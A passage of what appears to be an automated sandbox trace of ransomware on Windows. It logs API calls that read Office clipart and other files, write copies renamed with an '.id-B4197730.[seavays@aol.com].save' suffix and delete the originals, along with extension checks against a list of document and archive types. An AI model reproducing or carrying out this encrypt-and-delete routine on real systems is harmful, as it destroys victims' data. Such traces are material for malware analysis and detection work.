"c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0207.396] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=2644) returned 1 [0207.396] CloseHandle (hObject=0x360) returned 1 [0207.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0207.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0207.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0207.396] lstrlenW (lpString=".doc") returned 4 [0207.397] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.397] lstrlenW (lpString=".docx") returned 5 [0207.397] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0207.397] lstrlenW (lpString=".pdf") returned 4 [0207.397] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.397] lstrlenW (lpString=".xls") returned 4 [0207.397] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.397] lstrlenW (lpString=".xlsx") returned 5 [0207.397] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0207.397] lstrlenW (lpString=".ppt") returned 4 [0207.397] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0207.397] lstrlenW (lpString=".zip") returned 4 [0207.397] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.397] lstrlenW (lpString=".rar") returned 4 [0207.397] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.397] lstrlenW (lpString=".bz2") returned 4 [0207.397] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.397] lstrlenW (lpString=".7z") returned 3 [0207.397] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0207.843] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.843] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0207.844] GetLastError () returned 0x0 [0207.844] ReadFile (in: hFile=0x384, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x1352, lpOverlapped=0x0) returned 1 [0207.862] WriteFile (in: hFile=0x388, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x1360, lpOverlapped=0x0) returned 1 [0207.863] ReadFile (in: hFile=0x384, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.863] WriteFile (in: hFile=0x388, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.863] SetEndOfFile (hFile=0x388) returned 1 [0207.863] CloseHandle (hObject=0x388) returned 1 [0207.863] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.863] SetEndOfFile (hFile=0x384) returned 1 [0207.864] CloseHandle (hObject=0x384) returned 1 [0207.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0207.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0207.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0207.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0207.866] lstrlenW (lpString=".doc") returned 4 [0207.866] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.866] lstrlenW (lpString=".docx") returned 5 [0207.866] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0207.866] lstrlenW (lpString=".pdf") returned 4 [0207.866] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.866] lstrlenW (lpString=".xls") returned 4 [0207.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.866] lstrlenW (lpString=".xlsx") returned 5 [0207.866] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0207.866] lstrlenW (lpString=".ppt") returned 4 [0207.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0207.866] lstrlenW (lpString=".zip") returned 4 [0207.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.866] lstrlenW (lpString=".rar") returned 4 [0207.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.866] lstrlenW (lpString=".bz2") returned 4 [0207.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.866] lstrlenW (lpString=".7z") returned 3 [0207.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0207.867] lstrlenW (lpString=".dbf") returned 4 [0207.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0207.867] lstrlenW (lpString=".1cd") returned 4 [0207.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0207.867] lstrlenW (lpString=".jpg") returned 4 [0207.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0207.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0207.867] lstrlenW (lpString=".doc") returned 4 [0207.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.867] lstrlenW (lpString=".docx") returned 5 [0207.867] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0207.867] lstrlenW (lpString=".pdf") returned 4 [0207.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.867] lstrlenW (lpString=".xls") returned 4 [0207.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.867] lstrlenW (lpString=".xlsx") returned 5 [0207.867] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0207.867] lstrlenW (lpString=".ppt") returned 4 [0207.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0207.867] lstrlenW (lpString=".zip") returned 4 [0207.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.867] lstrlenW (lpString=".rar") returned 4 [0207.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.868] lstrlenW (lpString=".bz2") returned 4 [0207.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.868] lstrlenW (lpString=".7z") returned 3 [0207.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0207.868] lstrlenW (lpString=".dbf") returned 4 [0207.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0207.868] lstrlenW (lpString=".1cd") returned 4 [0207.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0207.868] lstrlenW (lpString=".jpg") returned 4 [0207.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.868] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0207.868] lstrlenW (lpString="J0099184.WMF") returned 12 [0207.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.868] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=4118) returned 1 [0207.869] CloseHandle (hObject=0x384) returned 1 [0207.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220 [0207.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.869] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.869] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0207.870] GetLastError () returned 0x0 [0207.870] ReadFile (in: hFile=0x384, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x1016, lpOverlapped=0x0) returned 1 [0207.871] WriteFile (in: hFile=0x388, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x1020, lpOverlapped=0x0) returned 1 [0207.873] ReadFile (in: hFile=0x384, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.873] WriteFile (in: hFile=0x388, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.873] SetEndOfFile (hFile=0x388) returned 1 [0207.873] CloseHandle (hObject=0x388) returned 1 [0207.873] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.873] SetEndOfFile (hFile=0x384) returned 1 [0207.874] CloseHandle (hObject=0x384) returned 1 [0207.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0207.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0207.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0207.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0207.875] lstrlenW (lpString=".doc") returned 4 [0207.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.875] lstrlenW (lpString=".docx") returned 5 [0207.875] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0207.875] lstrlenW (lpString=".pdf") returned 4 [0207.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.875] lstrlenW (lpString=".xls") returned 4 [0207.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.875] lstrlenW (lpString=".xlsx") returned 5 [0207.875] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0207.875] lstrlenW (lpString=".ppt") returned 4 [0207.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0207.875] lstrlenW (lpString=".zip") returned 4 [0207.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.876] lstrlenW (lpString=".rar") returned 4 [0207.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.876] lstrlenW (lpString=".bz2") returned 4 [0207.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.876] lstrlenW (lpString=".7z") returned 3 [0207.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0207.876] lstrlenW (lpString=".dbf") returned 4 [0207.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0208.353] lstrlenW (lpString=".1cd") returned 4 [0208.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0208.353] lstrlenW (lpString=".jpg") returned 4 [0208.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0208.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0208.353] lstrlenW (lpString=".doc") returned 4 [0208.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.353] lstrlenW (lpString=".docx") returned 5 [0208.353] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0208.353] lstrlenW (lpString=".pdf") returned 4 [0208.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.353] lstrlenW (lpString=".xls") returned 4 [0208.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.353] lstrlenW (lpString=".xlsx") returned 5 [0208.354] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0208.354] lstrlenW (lpString=".ppt") returned 4 [0208.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0208.354] lstrlenW (lpString=".zip") returned 4 [0208.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.354] lstrlenW (lpString=".rar") returned 4 [0208.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.354] lstrlenW (lpString=".bz2") returned 4 [0208.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.354] lstrlenW (lpString=".7z") returned 3 [0208.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0208.354] lstrlenW (lpString=".dbf") returned 4 [0208.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0208.354] lstrlenW (lpString=".1cd") returned 4 [0208.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0208.354] lstrlenW (lpString=".jpg") returned 4 [0208.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.354] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0208.354] lstrlenW (lpString="J0099194.GIF") returned 12 [0208.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.355] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=25265) returned 1 [0208.355] CloseHandle (hObject=0x35c) returned 1 [0208.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220 [0208.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.356] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.356] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0208.357] GetLastError () returned 0x0 [0208.357] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x62b1, lpOverlapped=0x0) returned 1 [0208.358] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x62c0, lpOverlapped=0x0) returned 1 [0208.360] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.360] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.360] SetEndOfFile (hFile=0x368) returned 1 [0208.361] CloseHandle (hObject=0x368) returned 1 [0208.361] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.361] SetEndOfFile (hFile=0x35c) returned 1 [0208.362] CloseHandle (hObject=0x35c) returned 1 [0208.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0208.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0208.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0208.363] lstrlenW (lpString=".doc") returned 4 [0208.363] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.363] lstrlenW (lpString=".docx") returned 5 [0208.363] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0208.363] lstrlenW (lpString=".pdf") returned 4 [0208.364] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.364] lstrlenW (lpString=".xls") returned 4 [0208.364] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.364] lstrlenW (lpString=".xlsx") returned 5 [0208.364] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0208.364] lstrlenW (lpString=".ppt") returned 4 [0208.364] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0208.364] lstrlenW (lpString=".zip") returned 4 [0208.364] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.364] lstrlenW (lpString=".rar") returned 4 [0208.364] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.364] lstrlenW (lpString=".bz2") returned 4 [0208.364] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.364] lstrlenW (lpString=".7z") returned 3 [0208.364] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0208.364] lstrlenW (lpString=".dbf") returned 4 [0208.364] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0208.364] lstrlenW (lpString=".1cd") returned 4 [0208.364] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0208.364] lstrlenW (lpString=".jpg") returned 4 [0208.364] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0208.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0208.364] lstrlenW (lpString=".doc") returned 4 [0208.364] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.365] lstrlenW (lpString=".docx") returned 5 [0208.365] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0208.365] lstrlenW (lpString=".pdf") returned 4 [0208.365] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.365] lstrlenW (lpString=".xls") returned 4 [0208.365] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.365] lstrlenW (lpString=".xlsx") returned 5 [0208.365] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0208.365] lstrlenW (lpString=".ppt") returned 4 [0208.365] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0208.365] lstrlenW (lpString=".zip") returned 4 [0208.365] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.365] lstrlenW (lpString=".rar") returned 4 [0208.365] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.365] lstrlenW (lpString=".bz2") returned 4 [0208.365] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.365] lstrlenW (lpString=".7z") returned 3 [0208.365] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0208.365] 